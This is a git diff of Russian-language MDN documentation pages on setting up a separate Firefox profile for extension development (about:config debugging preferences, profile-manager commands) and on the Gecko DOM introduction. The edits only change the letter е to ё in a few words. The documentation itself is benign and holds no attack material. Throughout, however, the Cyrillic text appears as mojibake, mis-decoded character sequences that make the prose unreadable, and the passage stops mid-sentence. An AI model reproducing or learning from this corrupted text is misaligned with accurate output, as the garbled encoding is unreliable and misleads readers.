@@ -15,7 +15,7 @@ original_slug: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/Настройка_Firefox_
</ul>
<ol> <li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π».</li> <li>Π’Π²Π΅Π΄ΠΈΡ‚Π΅ "firefox -p".</li>
</ol>
-<p style="text-align: justify;">Π’ ΠΎΡ‚ΠΊΡ€Ρ‹Π²ΡˆΠ΅ΠΌΡΡ ΠΎΠΊΠ½Π΅ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π° ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ "Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒ". Π”Π°Π»Π΅Π΅ слСдуйтС инструкциям Π² ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π΅. Он Π’Π°ΠΌ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ ввСсти для Π½ΠΎΠ²ΠΎΠ³ΠΎ профиля Π½Π°Π·Π²Π°Π½ΠΈΠ΅, для нашСго ΠΏΡƒΡΡ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ "Develop" (это ΡƒΠΆΠ΅ Π½Π° Π’Π°ΡˆΠ΅ усмотрСниС), Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΏΠ°ΠΏΠΊΡƒ, Π³Π΄Π΅ Π±ΡƒΠ΄Π΅Ρ‚ наш ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ. Для ΠΏΠ°ΠΏΠΊΠΈ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ профиля ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ΅ ΠΈ, Π³Π»Π°Π²Π½ΠΎΠ΅, доступноС мСсто, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Π½Π΅ΠΌ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€ΡƒΠΊΠ°ΠΌΠΈ ΠΈΠ»ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Ρ„Π°ΠΉΠ».</p>
+<p style="text-align: justify;">Π’ ΠΎΡ‚ΠΊΡ€Ρ‹Π²ΡˆΠ΅ΠΌΡΡ ΠΎΠΊΠ½Π΅ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π° ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ "Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒ". Π”Π°Π»Π΅Π΅ слСдуйтС инструкциям Π² ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π΅. Он Π’Π°ΠΌ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ ввСсти для Π½ΠΎΠ²ΠΎΠ³ΠΎ профиля Π½Π°Π·Π²Π°Π½ΠΈΠ΅, для нашСго ΠΏΡƒΡΡ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ "Develop" (это ΡƒΠΆΠ΅ Π½Π° Π’Π°ΡˆΠ΅ усмотрСниС), Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΏΠ°ΠΏΠΊΡƒ, Π³Π΄Π΅ Π±ΡƒΠ΄Π΅Ρ‚ наш ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ. Для ΠΏΠ°ΠΏΠΊΠΈ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ профиля ΠΏΠΎΠ΄ΠΎΠΉΠ΄Ρ‘Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ΅ ΠΈ, Π³Π»Π°Π²Π½ΠΎΠ΅, доступноС мСсто, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Π½Π΅ΠΌ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€ΡƒΠΊΠ°ΠΌΠΈ ΠΈΠ»ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Ρ„Π°ΠΉΠ».</p>
<p style="text-align: justify;">ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ создан, Π½Π°ΠΆΠΈΠΌΠ°Π΅ΠΌ Π½Π° "Запуск Firefox". ПослС запуска Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π²Π²ΠΎΠ΄ΠΈΠΌ Π² Π°Π΄Ρ€Π΅ΡΠ½ΡƒΡŽ строку "about:config" ΠΈ Π½Π°ΠΆΠΈΠΌΠ°Π΅ΠΌ Enter. На это Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°ΠΌ выдаст ΠΎΠΊΠ½ΠΎ с ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ΠΌ ΠΎ возмоТности ΠΈΡΠΏΠΎΡ€Ρ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, ΠΌΡ‹ ΠΏΠΎΠΎΠ±Π΅Ρ‰Π°Π΅ΠΌ Π΅ΠΌΡƒ Π±Ρ‹Ρ‚ΡŒ остороТными.</p>
<p style="text-align: justify;">Π’ ΠΎΡ‚ΠΊΡ€Ρ‹Π²ΡˆΠ΅ΠΌΡΡ мСню Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ мноТСство строк с настройками Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Но Π² настройках "ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ" вписаны Π½Π΅ всС Π½ΡƒΠΆΠ½Ρ‹Π΅ Π½Π°ΠΌ строки - вСдь Π² повсСднСвной ΠΆΠΈΠ·Π½ΠΈ ΠΎΠ½ΠΈ Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹. Для ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠΉ настройки ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ профиля Firefox слСдуСт Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² настройки Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹. Для этого достаточно Π½Π°ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΌΡ‹ΡˆΠΈ Π² любом мСстС списка ΠΈ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΈΠ· контСкстного мСню ΠΏΡƒΠ½ΠΊΡ‚ "Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒ" --&gt; "ЛогичкСскоС".</p>
<ul> <li><strong>javascript.options.showInConsole = true </strong>- запись ошибок Π² Ρ„Π°ΠΉΠ»Π°Ρ… chrome Π² <a href="/en/Error_Console" title="en/Error_Console">консоль ошибок (Π°Π½Π³Π».)</a>.</li> <li><strong>nglayout.debug.disable_xul_cache = true </strong>- Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ xul-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². ΠŸΡ€ΠΈ внСсСнии ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² ΠΎΠΊΠ½Π° ΠΈ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΈ Π½Π΅ потрСбуСтся пСрСзапуск Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Однако, Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ использовании простых ΠΏΠ°ΠΏΠΎΠΊ, Π° Π½Π΅ jar-Π°Ρ€Ρ…ΠΈΠ²ΠΎΠ². ВнСсСниС ΠΆΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² xul-ΠΎΠ²Π΅Ρ€Π»Π΅ΠΈ всС Ρ‚Π°ΠΊΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ пСрСзапуска Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</li> <li><strong>browser.dom.window.dump.enabled = true </strong>- позволяСт Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π² ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ консоль состояниС Π΄Π°ΠΌΠΏΠ°. Для получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотри <a href="/en/DOM/window.dump">window.dump (Π°Π½Π³Π».)</a></li> <li><strong>javascript.options.strict = true</strong> - ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π²Ρ‹Π²ΠΎΠ΄ Π² консоль всСх ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠΉ JavaScript.</li> <li><strong>extensions.logging.enabled = true</strong> - Π²Ρ‹Π²ΠΎΠ΄ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± инсталляции ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ Π² консоль ошибок.</li>
diff --git a/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/настройка_firefox_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ/index.html b/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/настройка_firefox_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ/index.html
index f85369e2e0..7269a58d65 100644
--- a/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/настройка_firefox_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ/index.html
+++ b/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/настройка_firefox_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ/index.html
@@ -6,7 +6,7 @@ original_slug: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/Настройка_Firefox_
<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ для этого Firefox. НуТно это для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ ΠΏΠΎΡ‚Π΅Ρ€ΡΡ‚ΡŒ Π½ΡƒΠΆΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Π½Π΅ ΡΠ±ΠΈΡ‚ΡŒ настройки Π² повсСднСвном ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ Firefox.</p>
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ_профиля_Firefox">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ профиля Firefox</h2>
<p style="text-align: justify;">Firefox Ρ…Ρ€Π°Π½ΠΈΡ‚ свои настройки Π² Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΌ ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅. ΠŸΡ€ΠΎΡ„ΠΈΠ»ΡŒ это ΠΏΠ°ΠΏΠΊΠ°, содСрТащая Ρ„Π°ΠΉΠ»Ρ‹ Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈ хранятся настройки ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, Ρ„Π°ΠΉΠ»Ρ‹ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ, Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ кСш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, информация ΠΎ сСссиях, Ρ„Π°ΠΉΠ»Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π·Π°ΠΊΠ»Π°Π΄ΠΎΠΊ ΠΈ ΠΏΡ€ΠΎΡ‡Π΅Π΅.</p>
-<p style="text-align: justify;">Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π²ΠΎΡΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ свои настройки послС Π½Π΅ΡƒΠ΄Π°Ρ‡Π½ΠΎΠ³ΠΎ экспСримСнта с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ, прСдлагаСтся (Π½Π° Π’Π°ΡˆΠ΅ усмотрСниС, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ) ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ ΠΈ Π² Π½Π΅ΠΌ Π±ΡƒΠ΄ΡƒΡ‚ внСсСн ряд Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ…, Π½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… настройках Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
+<p style="text-align: justify;">Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π²ΠΎΡΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ свои настройки послС Π½Π΅ΡƒΠ΄Π°Ρ‡Π½ΠΎΠ³ΠΎ экспСримСнта с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ, прСдлагаСтся (Π½Π° Π’Π°ΡˆΠ΅ усмотрСниС, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ) ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ ΠΈ Π² Π½Π΅ΠΌ Π±ΡƒΠ΄ΡƒΡ‚ внСсён ряд Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ…, Π½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… настройках Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
<p>Для создания профиля Π² Microsoft Windows сдСлайтС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
<ul> <li>Π—Π°ΠΊΡ€ΠΎΠΉΡ‚Π΅ всС ΠΎΠΊΠ½Π° Firefox</li> <li>НаТмитС ΠΊΠ½ΠΎΠΏΠΊΡƒ "ΠŸΡƒΡΠΊ"</li> <li>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ мСню "Π’Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ"</li> <li>Π’ΠΏΠΈΡˆΠΈΡ‚Π΅ Π² строку  "ΠŸΡƒΡ‚ΡŒ_ΠΊ_ΠΏΠ°ΠΏΠΊΠ΅\с_ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ\firefox.exe -no-remote -P имя_профиля"</li>
</ul>
diff --git a/files/ru/orphaned/справочная_информация_ΠΏΠΎ_gecko_dom/Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅/index.html b/files/ru/orphaned/справочная_информация_ΠΏΠΎ_gecko_dom/Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅/index.html
index 62486747ec..2a17f1d4ce 100644
--- a/files/ru/orphaned/справочная_информация_ΠΏΠΎ_gecko_dom/Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅/index.html
+++ b/files/ru/orphaned/справочная_информация_ΠΏΠΎ_gecko_dom/Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅/index.html
@@ -46,14 +46,14 @@ p_list = doc.getElementsByTagName("para");
<p><span id="result_box" lang="ru"><span>Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ особСнноС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ DOM.</span> <span>Π Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ DOM, ΠΈ эти Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΡƒΡŽ ΡΡ‚Π΅ΠΏΠ΅Π½ΡŒ соотвСтствия Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΡƒ стандарту DOM (Ρ‚Π΅ΠΌΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ пытаСмся ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Π² этой Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ), Π½ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΡƒΡŽ модСль Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Π΅Π±-страницы доступными для скрипта</span></span>.</p>
-<p>Когда Π²Ρ‹ создаСтС ΠΊΠΎΠ΄, <span id="result_box" lang="ru"><span>нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, встроСн Π»ΠΈ ΠΎΠ½ Π² элСмСнт<code> &lt;script&gt;</code> ΠΈΠ»ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Π²Π΅Π±-страницу с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструкции ΠΏΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ скрипта ΠΈΠ·Π²Π½Π΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ сразу Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ API для элСмСнтов</span></span> <code><a href="/en-US/docs/DOM/document" title="DOM/document">document</a></code> ΠΈΠ»ΠΈ <code><a href="/en-US/docs/DOM/window" title="DOM/window">window</a></code>Β  для <span id="result_box" lang="ru"><span>манипулирования самим Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ</span> Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты<span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ элСмСнтами Π²Π΅Π±-страницы.</span></span> Π’Π°ΡˆΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ DOM ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достаточно простым, ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°ΡŽΡ‰Π΅Π΅ сообщСниС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="/en-US/docs/DOM/window.alert" title="DOM/window.alert">alert()</a></code> ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code><a href="/en-US/docs/DOM/window" title="DOM/window">window</a></code>, <span id="result_box" lang="ru"><span>ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ слоТныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ DOM для создания Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠ°ΠΊ Π² Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅</span></span>.</p>
+<p>Когда Π²Ρ‹ создаётС ΠΊΠΎΠ΄, <span id="result_box" lang="ru"><span>нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, встроСн Π»ΠΈ ΠΎΠ½ Π² элСмСнт<code> &lt;script&gt;</code> ΠΈΠ»ΠΈ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Π²Π΅Π±-страницу с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструкции ΠΏΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ скрипта ΠΈΠ·Π²Π½Π΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ сразу Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ API для элСмСнтов</span></span> <code><a href="/en-US/docs/DOM/document" title="DOM/document">document</a></code> ΠΈΠ»ΠΈ <code><a href="/en-US/docs/DOM/window" title="DOM/window">window</a></code>Β  для <span id="result_box" lang="ru"><span>манипулирования самим Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ</span> Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты<span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ элСмСнтами Π²Π΅Π±-страницы.</span></span> Π’Π°ΡˆΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ DOM ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достаточно простым, ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°ΡŽΡ‰Π΅Π΅ сообщСниС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="/en-US/docs/DOM/window.alert" title="DOM/window.alert">alert()</a></code> ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code><a href="/en-US/docs/DOM/window" title="DOM/window">window</a></code>, <span id="result_box" lang="ru"><span>ΠΈΠ»ΠΈ 